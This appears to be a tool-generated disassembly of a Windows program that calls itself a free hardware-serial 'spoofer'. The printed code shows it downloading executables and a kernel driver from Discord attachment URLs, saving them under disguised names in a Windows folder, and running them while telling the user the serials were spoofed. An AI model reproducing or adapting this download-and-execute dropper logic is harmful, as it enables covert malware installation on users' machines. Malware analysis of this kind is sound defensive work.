Function at 0x140001000
Capabilities:
Download url
Execute command
Receive data

Disassembly:
push rbx
sub rsp, 0x30
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________________________________________________n
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Welcome_To_VSN_Temporary_Spoofer__Free_._n
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._____________________________________________________________
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_nPress_Any_Key_To_Spoof.._n_n
call fcn.1400011e0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
lea r8, str.C:Windows_securitylogshidden1.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.https:__cdn.discordapp.com_attachments_1189308918883688529_1189790014645735554_svchost.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windows_securitylogshidden2.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1189308918883688529_1189790319332569118_runtimebroker.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windows_securitylogshidden3.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1189406876530655272_1189606122609459271_vuldrv.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Windows_securitylogshidden4.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1189305526501261475_1189637407050575983_bluu.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, [0x1400037e0]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1189308918883688529_1189790014645735554_svchost.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.start_C:Windows_securitylogshidden1.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:Windows_securitylogshidden2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_securitylogshidden3.exe_C:Windows_securitylogshidden4.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32drivershidden5.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003908]
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003908]
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003908]
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003908]
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140003908]
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________________________________________________n
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Successfully_Spoofed_Serials
call fcn.1400011e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.______________________________________________________________n
call fcn.1400011e0
xor eax, eax
add rsp, 0x30
pop rbx
ret